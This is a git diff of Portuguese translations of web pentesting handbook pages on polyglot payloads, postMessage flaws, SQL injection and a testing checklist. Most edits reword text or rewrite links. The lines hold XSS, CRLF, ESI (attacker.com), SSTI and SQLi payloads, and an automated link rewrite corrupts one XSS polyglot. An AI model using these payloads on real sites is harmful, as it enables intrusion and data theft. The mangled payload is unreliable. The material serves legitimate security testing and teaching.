 %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
 %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 ```
-## Marcação Pendente
+## Dangling Markup
 
 ### Testes Básicos
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [Inclusão de Arquivo/Travessia de Caminho](../file-inclusion/)
+## [File Inclusion/Path Traversal](../file-inclusion/index.html)
 
 ### Testes Básicos
 ```bash
@@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 http://asdasdasdasd.burpcollab.com/mal.php
 \\asdasdasdasd.burpcollab.com/mal.php
 ```
-## [Redirecionamento Aberto](../open-redirect.md) / [Falsificação de Requisição do Lado do Servidor](../ssrf-server-side-request-forgery/)
+## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 ### Testes Básicos
 ```bash
@@ -127,7 +127,7 @@ javascript:alert(1)
 ([a-zA-Z]+)*$
 ((a+)+)+$
 ```
-## [Inclusão do Lado do Servidor/Injeção do Lado da Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
+## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
 
 ### Testes Básicos
 ```markup
@@ -136,15 +136,15 @@ javascript:alert(1)
 <esi:include src=http://attacker.com/>
 x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-### Poliglotos
+### Polygloths
 ```markup
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 Os mesmos testes usados para Open Redirect podem ser usados aqui.
 
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 
 ### Testes Básicos
 ```markup
@@ -155,18 +155,18 @@ ${7*7}
 ${{7*7}}
 #{7*7}
 ```
-### Poliglotos
+### Polygloths
 ```python
 {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 ```
-## [Injeção de Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 
 ### Testes Básicos
 ```markup
 <xsl:value-of select="system-property('xsl:version')" />
 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
-### Poliglotos
+### Polygloths
 ```markup
 <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
@@ -178,12 +178,12 @@ ${{7*7}}
 '"><img src=x onerror=alert(1) />
 javascript:alert()
 ```
-### Poliglotos
+### Polygloths
 ```markup
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

src/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md

@@ -36,7 +36,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -95,7 +95,7 @@ Para **encontrar ouvintes de eventos** na página atual, você pode:
 "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 ```
 
-- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa além de uma regexp leva a uma conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) atua como um curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
+- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma regexp leva a uma conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) atua como um curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
 
 ```javascript
 "https://www.safedomain.com".search("www.s.fedomain.com")
@@ -130,7 +130,7 @@ Ao incorporar uma página da web dentro de um **iframe sandboxed** usando %%%%%%
 
 Ao especificar **`allow-popups`** no atributo sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo **`allow-popups-to-escape-sandbox`** também seja incluído, a origem da janela pop-up é igualmente definida como `null`, alinhando-se com a origem do iframe.
 
-Consequentemente, quando uma pop-up é aberta sob essas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, tanto os lados de envio quanto de recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
+Consequentemente, quando uma pop-up é aberta nessas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, tanto os lados de envio quanto de recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
 
 Para mais informações **leia**:
 
@@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
 
 ### Roubo de mensagem modificando a localização do iframe
 
-Se você pode iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **change the location of that child iframe**, então se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **change** a **origin** desse iframe para uma página **controlled** por ele e **steal** a mensagem:
+Se você puder iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **change the location of that child iframe**, então se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **change** a **origin** desse iframe para uma página **controlled** por ele e **steal** a mensagem:
 
 {{#ref}}
 steal-postmessage-modifying-iframe-location.md
@@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
 
 Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode **iframe** a **page** e **exploit** a **prototype pollution/XSS** enviando o exploit via `postMessage`.
 
-Um casal de **very good explained XSS though `postMessage`** pode ser encontrado em [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
+Um par de **very good explained XSS though `postMessage`** pode ser encontrado em [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
 
 Exemplo de um exploit para abusar de **Prototype Pollution e então XSS** através de um `postMessage` para um `iframe`:
 ```html
@@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
 ```
 Para **mais informações**:
 
-- Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/)
-- Link para a página sobre [**XSS**](../xss-cross-site-scripting/)
+- Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/index.html)
+- Link para a página sobre [**XSS**](../xss-cross-site-scripting/index.html)
 - Link para a página sobre [**poluição de protótipo do lado do cliente para XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 
 ## Referências

src/pentesting-web/sql-injection/README.md

@@ -23,7 +23,7 @@ Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a res
 ```
 Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode apenas **inserir** seus dados e **adicionar um símbolo de comentário no final**.
 
-_Observe que, se você puder ver mensagens de erro ou notar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
+_Observe que se você puder ver mensagens de erro ou notar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
 
 ### **Comentários**
 ```sql
@@ -53,9 +53,9 @@ HQL does not support comments
 ```
 ### Confirmando com operações lógicas
 
-Um método confiável para confirmar uma vulnerabilidade de injeção SQL envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` gerando conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção SQL.
+Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que gera conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de SQL injection.
 
-Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de injeção SQL.
+Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de SQL injection.
 
 Exemplos demonstrando a confirmação de operação lógica:
 ```
@@ -68,7 +68,7 @@ Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da man
 
 {% file src="../../images/sqli-logic.txt" %}
 
-### Confirmando com Tempo
+### Confirmando com Timing
 
 Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir SQL injections blindas** é fazer com que o DB execute ações que terão um **impacto no tempo** que a página leva para carregar.\
 Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
@@ -199,7 +199,7 @@ Para obter insights mais abrangentes, consulte o artigo completo disponível em
 
 ## Exploiting Error based
 
-Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltratem** dados do banco de dados.\
+Se por algum motivo você **não puder** ver a **saída** da **consulta**, mas puder **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltratem** dados do banco de dados.\
 Seguindo um fluxo semelhante ao da exploração baseada em união, você poderia conseguir despejar o DB.
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@@ -211,7 +211,7 @@ Neste caso, você pode abusar desse comportamento para despejar o banco de dados
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
 ```
-## Explorando Error Blind SQLi
+## Explorando SQLi Cega por Erro
 
 Este é o **mesmo caso de antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir entre** um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL toda vez que adivinhar corretamente o caractere:
 ```sql
@@ -225,7 +225,7 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
 ```
 ## Consultas Empilhadas
 
-Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Observe que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas**, onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
+Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas**, onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
 
 **Oracle** não suporta **consultas empilhadas.** **MySQL, Microsoft** e **PostgreSQL** as suportam: `QUERY-1-HERE; QUERY-2-HERE`
 
@@ -241,17 +241,17 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```
 ## Exploração Automatizada
 
-Verifique a [SQLMap Cheatsheet](sqlmap/) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
+Verifique o [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 
-## Informações específicas da tecnologia
+## Informações técnicas específicas
 
-Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:
+Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injection. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
-- [MySQL](mysql-injection/)
+- [MySQL](mysql-injection/index.html)
 - [Oracle](oracle-injection.md)
-- [PostgreSQL](postgresql-injection/)
+- [PostgreSQL](postgresql-injection/index.html)
 
 Ou você encontrará **muitas dicas sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
@@ -267,7 +267,7 @@ Lista para tentar contornar a funcionalidade de login:
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com verdadeiro para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeções SQL. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando a acessos não autorizados.
+Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com verdadeiro para saída bruta em verificações de autenticação, tornando o sistema suscetível a SQL injection. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando a acesso não autorizado.
 ```sql
 md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@@ -310,8 +310,8 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 
 Para isso, você deve tentar **criar um novo objeto nomeado como o "objeto mestre"** (provavelmente **admin** no caso de usuários) modificando algo:
 
-- Criar usuário chamado: **AdMIn** (letras maiúsculas e minúsculas)
-- Criar um usuário chamado: **admin=**
+- Criar usuário nomeado: **AdMIn** (letras maiúsculas e minúsculas)
+- Criar um usuário nomeado: **admin=**
 - **SQL Truncation Attack** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
 
 #### SQL Truncation Attack
@@ -322,7 +322,7 @@ O banco de dados irá **verificar** se o **nome de usuário** introduzido **exis
 
 Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
-_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco à direita por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
 
 ### Verificação baseada em tempo de inserção do MySQL
 
@@ -336,7 +336,7 @@ A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar aç
 
 Exemplo de Injeção de Payload:
 
-Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
+Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas para serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
 ```sql
 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
@@ -380,7 +380,7 @@ Usando **hex** e **replace** (e **substr**):
 ```
 ## Injeção SQL Roteada
 
-Injeção SQL roteada é uma situação onde a consulta injetável não é a que gera a saída, mas a saída da consulta injetável vai para a consulta que gera a saída. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
+A injeção SQL roteada é uma situação onde a consulta injetável não é a que gera a saída, mas a saída da consulta injetável vai para a consulta que gera a saída. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
 
 Exemplo:
 ```
@@ -393,7 +393,7 @@ Exemplo:
 
 ### Bypass sem espaços
 
-Sem Espaço (%20) - bypass usando alternativas de espaço em branco
+Sem espaço (%20) - bypass usando alternativas de espaço em branco
 ```sql
 ?id=1%09and%091=1%09--
 ?id=1%0Dand%0D1=1%0D--
@@ -410,9 +410,9 @@ Sem Espaço - contornar usando parênteses
 ```sql
 ?id=(1)and(1)=(1)--
 ```
-### No commas bypass
+### Bypass sem vírgulas
 
-No Comma - bypass usando OFFSET, FROM e JOIN
+Sem vírgula - bypass usando OFFSET, FROM e JOIN
 ```
 LIMIT 0,1         -> LIMIT 1 OFFSET 0
 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@@ -457,7 +457,7 @@ Ou usando um **comma bypass**:
 # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
 -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
 ```
-Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
+Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
 
 ### Ferramentas sugeridoras de bypass de WAF
 

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -7,16 +7,16 @@ Em cada Pentest Web, existem **vários lugares ocultos e óbvios que podem ser v
 ## Proxies
 
 > [!NOTE]
-> Hoje em dia, **aplicações** **web** geralmente **usam** algum tipo de **proxy** **intermediário**, que pode ser (mal) utilizado para explorar vulnerabilidades. Essas vulnerabilidades precisam de um proxy vulnerável para estar em vigor, mas geralmente também precisam de alguma vulnerabilidade extra no backend.
+> Hoje em dia, **aplicações** **web** geralmente **usam** algum tipo de **proxy** **intermediário**, que pode ser (mal)utilizado para explorar vulnerabilidades. Essas vulnerabilidades precisam de um proxy vulnerável para estar em vigor, mas geralmente também precisam de alguma vulnerabilidade extra no backend.
 
 - [ ] [**Abusando cabeçalhos hop-by-hop**](abusing-hop-by-hop-headers.md)
-- [ ] [**Envenenamento de Cache/Engano de Cache**](cache-deception/)
-- [ ] [**Smuggling de Requisições HTTP**](http-request-smuggling/)
-- [ ] [**Smuggling H2C**](h2c-smuggling.md)
+- [ ] [**Envenenamento de Cache/Engano de Cache**](cache-deception/index.html)
+- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
+- [ ] [**H2C Smuggling**](h2c-smuggling.md)
 - [ ] [**Inclusão do Lado do Servidor/Injeção do Lado da Edge**](server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Descobrindo Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
 - [ ] [**Injeção de XSLT do Lado do Servidor**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**Bypass de Proteções de Proxy/WAF**](proxy-waf-protections-bypass.md)
+- [ ] [**Bypass de Proteções de Proxy / WAF**](proxy-waf-protections-bypass.md)
 
 ## **Entrada do usuário**
 
@@ -31,18 +31,18 @@ Se os dados introduzidos podem de alguma forma ser refletidos na resposta, a pá
 - [ ] [**Injeção de Template do Lado do Cliente**](client-side-template-injection-csti.md)
 - [ ] [**Injeção de Comando**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Markup Pendurado**](dangling-markup-html-scriptless-injection/)
-- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](file-inclusion/)
+- [ ] [**Markup Pendurado**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](file-inclusion/index.html)
 - [ ] [**Redirecionamento Aberto**](open-redirect.md)
 - [ ] [**Poluição de Protótipo para XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Inclusão do Lado do Servidor/Injeção do Lado da Edge**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Falsificação de Requisição do Lado do Servidor**](ssrf-server-side-request-forgery/)
-- [ ] [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/)
+- [ ] [**Falsificação de Requisição do Lado do Servidor**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 - [ ] [**Injeção de XSLT do Lado do Servidor**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
 Algumas das vulnerabilidades mencionadas requerem condições especiais, outras apenas requerem que o conteúdo seja refletido. Você pode encontrar alguns poliglotas interessantes para testar rapidamente as vulnerabilidades em:
 
@@ -52,13 +52,13 @@ pocs-and-polygloths-cheatsheet/
 
 ### **Funcionalidades de Busca**
 
-Se a funcionalidade pode ser usada para buscar algum tipo de dado dentro do backend, talvez você possa (mal) utilizá-la para buscar dados arbitrários.
+Se a funcionalidade pode ser usada para buscar algum tipo de dado no backend, talvez você possa (mal)utilizá-la para buscar dados arbitrários.
 
-- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](file-inclusion/)
+- [ ] [**Inclusão de Arquivo/Traversal de Caminho**](file-inclusion/index.html)
 - [ ] [**Injeção NoSQL**](nosql-injection.md)
 - [ ] [**Injeção LDAP**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**Injeção SQL**](sql-injection/)
+- [ ] [**Injeção SQL**](sql-injection/index.html)
 - [ ] [**Injeção XPATH**](xpath-injection.md)
 
 ### **Formulários, WebSockets e PostMsgs**
@@ -67,15 +67,15 @@ Quando um websocket envia uma mensagem ou um formulário permitindo que os usuá
 
 - [ ] [**Falsificação de Requisição entre Sites**](csrf-cross-site-request-forgery.md)
 - [ ] [**Sequestro de WebSocket entre Sites (CSWSH)**](websocket-attacks.md)
-- [ ] [**Vulnerabilidades de PostMessage**](postmessage-vulnerabilities/)
+- [ ] [**Vulnerabilidades de PostMessage**](postmessage-vulnerabilities/index.html)
 
 ### **Cabeçalhos HTTP**
 
 Dependendo dos cabeçalhos HTTP fornecidos pelo servidor web, algumas vulnerabilidades podem estar presentes.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Bypass de Política de Segurança de Conteúdo**](content-security-policy-csp-bypass/)
-- [ ] [**Hacking de Cookies**](hacking-with-cookies/)
+- [ ] [**Bypass de Política de Segurança de Conteúdo**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Hacking de Cookies**](hacking-with-cookies/index.html)
 - [ ] [**CORS - Configurações Incorretas & Bypass**](cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ Existem várias funcionalidades específicas onde algumas soluções alternativa
 - [ ] [**Bypass de 2FA/OTP**](2fa-bypass.md)
 - [ ] [**Bypass do Processo de Pagamento**](bypass-payment-process.md)
 - [ ] [**Bypass de Captcha**](captcha-bypass.md)
-- [ ] [**Bypass de Login**](login-bypass/)
+- [ ] [**Bypass de Login**](login-bypass/index.html)
 - [ ] [**Condição de Corrida**](race-condition.md)
 - [ ] [**Bypass de Limite de Taxa**](rate-limit-bypass.md)
 - [ ] [**Bypass de Redefinição de Senha Esquecida**](reset-password.md)
@@ -93,10 +93,10 @@ Existem várias funcionalidades específicas onde algumas soluções alternativa
 
 ### **Objetos Estruturados / Funcionalidades Específicas**
 
-Algumas funcionalidades exigirão que **os dados estejam estruturados em um formato muito específico** (como um objeto serializado de linguagem ou XML). Portanto, é mais fácil identificar se a aplicação pode ser vulnerável, pois precisa processar esse tipo de dado.\
+Algumas funcionalidades exigirão que os **dados sejam estruturados em um formato muito específico** (como um objeto serializado de linguagem ou XML). Portanto, é mais fácil identificar se a aplicação pode ser vulnerável, pois precisa processar esse tipo de dado.\
 Algumas **funcionalidades específicas** também podem ser vulneráveis se um **formato específico da entrada for usado** (como Injeções de Cabeçalho de Email).
 
-- [ ] [**Desserialização**](deserialization/)
+- [ ] [**Desserialização**](deserialization/index.html)
 - [ ] [**Injeção de Cabeçalho de Email**](email-injections.md)
 - [ ] [**Vulnerabilidades de JWT**](hacking-jwt-json-web-tokens.md)
 - [ ] [**Entidade Externa XML**](xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ Funcionalidades que permitem o upload de arquivos podem ser vulneráveis a vári
 Funcionalidades que geram arquivos incluindo entrada do usuário podem executar código inesperado.\
 Usuários que abrem arquivos enviados por outros usuários ou gerados automaticamente incluindo entrada do usuário podem ser comprometidos.
 
-- [ ] [**Upload de Arquivo**](file-upload/)
+- [ ] [**Upload de Arquivo**](file-upload/index.html)
 - [ ] [**Injeção de Fórmula**](formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**Injeção de PDF**](xss-cross-site-scripting/pdf-injection.md)
